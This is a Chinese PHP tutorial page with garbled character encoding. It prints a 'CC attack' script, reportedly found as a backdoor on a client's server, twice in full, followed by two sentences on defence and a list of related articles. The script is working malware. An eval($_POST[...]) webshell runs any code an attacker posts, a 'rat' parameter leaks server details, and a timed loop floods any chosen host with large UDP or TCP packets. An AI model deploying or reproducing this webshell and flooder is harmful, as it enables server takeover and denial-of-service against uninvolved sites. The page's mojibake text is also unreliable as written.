php cc攻擊代碼與防范方法
更新時(shí)間：2012年10月18日 14:29:02 作者：
今天把客戶查找后門的時(shí)候發(fā)現(xiàn)的代碼，特分享下，看到這樣的代碼就是黑客用來攻擊別人訪問，不斷訪問指定網(wǎng)站，導(dǎo)致網(wǎng)站無法訪問，我們的網(wǎng)站就是幫兇了，同時(shí)我們自己的網(wǎng)站或服務(wù)器也會(huì)無法訪問，所以一定要注意防范。
cc攻擊代碼，支持udp
<?php
eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
對(duì)于cc攻擊的防范，如果是動(dòng)態(tài)頁面，我們可以判斷時(shí)間，如果是靜態(tài)的網(wǎng)站我們就需要服務(wù)器上安裝防cc攻擊的軟件了， 一般服務(wù)器安全狗還是不錯(cuò)的。
如果你有好的軟件也可以給我們留言。
復(fù)制代碼 代碼如下:
<?php
eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Php 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);
if($fp)
{
fwrite($fp, $out);
fclose($fp);
}
}
?>
對(duì)于cc攻擊的防范，如果是動(dòng)態(tài)頁面，我們可以判斷時(shí)間，如果是靜態(tài)的網(wǎng)站我們就需要服務(wù)器上安裝防cc攻擊的軟件了， 一般服務(wù)器安全狗還是不錯(cuò)的。
如果你有好的軟件也可以給我們留言。
相關(guān)文章
這篇文章主要介紹了Laravel框架路由設(shè)置與使用,結(jié)合實(shí)例形式分析了Laravel框架路由的設(shè)置方法、相關(guān)操作注意事項(xiàng),需要的朋友可以參考下2018-06-06
本篇文章介紹了，php文章中圖片處理的使用。需要的朋友參考下2013-04-04
mysql數(shù)據(jù)庫 DB類 ，方便學(xué)習(xí)php的朋友，用類方便擴(kuò)展，不建議初級(jí)用戶，可以等熟悉了mysql的數(shù)據(jù)庫操作函數(shù)以后再用，要不以后函數(shù)都記亂了2008-06-06
PHP 讀取Postgresql中的數(shù)組，需要的朋友可以參考一下2013-04-04
這篇文章主要介紹了PHP模板引擎Smarty中變量的使用方法,詳細(xì)講述了Smarty模板的原理,下載,配置方法與變量的使用技巧,需要的朋友可以參考下2016-04-04
這篇文章主要介紹了基礎(chǔ)的WordPress插件制作教程,包括基本的使用ajax提交數(shù)據(jù)的實(shí)現(xiàn),需要的朋友可以參考下2015-11-11
這篇文章主要介紹了thinkphp集成前端腳手架Vue-cli的教程圖解,本文圖文并茂給大家介紹的非常詳細(xì)，具有一定的參考借鑒價(jià)值，需要的朋友可以參考下2018-08-08
php的mkdir()函數(shù)創(chuàng)建文件夾比較安全的權(quán)限設(shè)置方法
這篇文章主要介紹了php的mkdir()函數(shù)創(chuàng)建文件夾比較安全的權(quán)限設(shè)置方法,遇到的情況是系統(tǒng)umask影響了mkdir的指定權(quán)限參數(shù)比期望要小,使用chmod函數(shù)則沒有這個(gè)問題,需要的朋友可以參考下2014-07-07
這篇文章主要介紹了全面解析PHP操作Memcache基本函數(shù)的相關(guān)資料,需要的朋友可以參考下2016-07-07
本文章來給各位同學(xué)介紹一下關(guān)于Php CURL模擬登陸論壇并采集數(shù)據(jù)實(shí)例,如果你對(duì)利用curl模擬登錄功能有興趣可進(jìn)入?yún)⒖肌?/div> 2015-05-05最新評(píng)論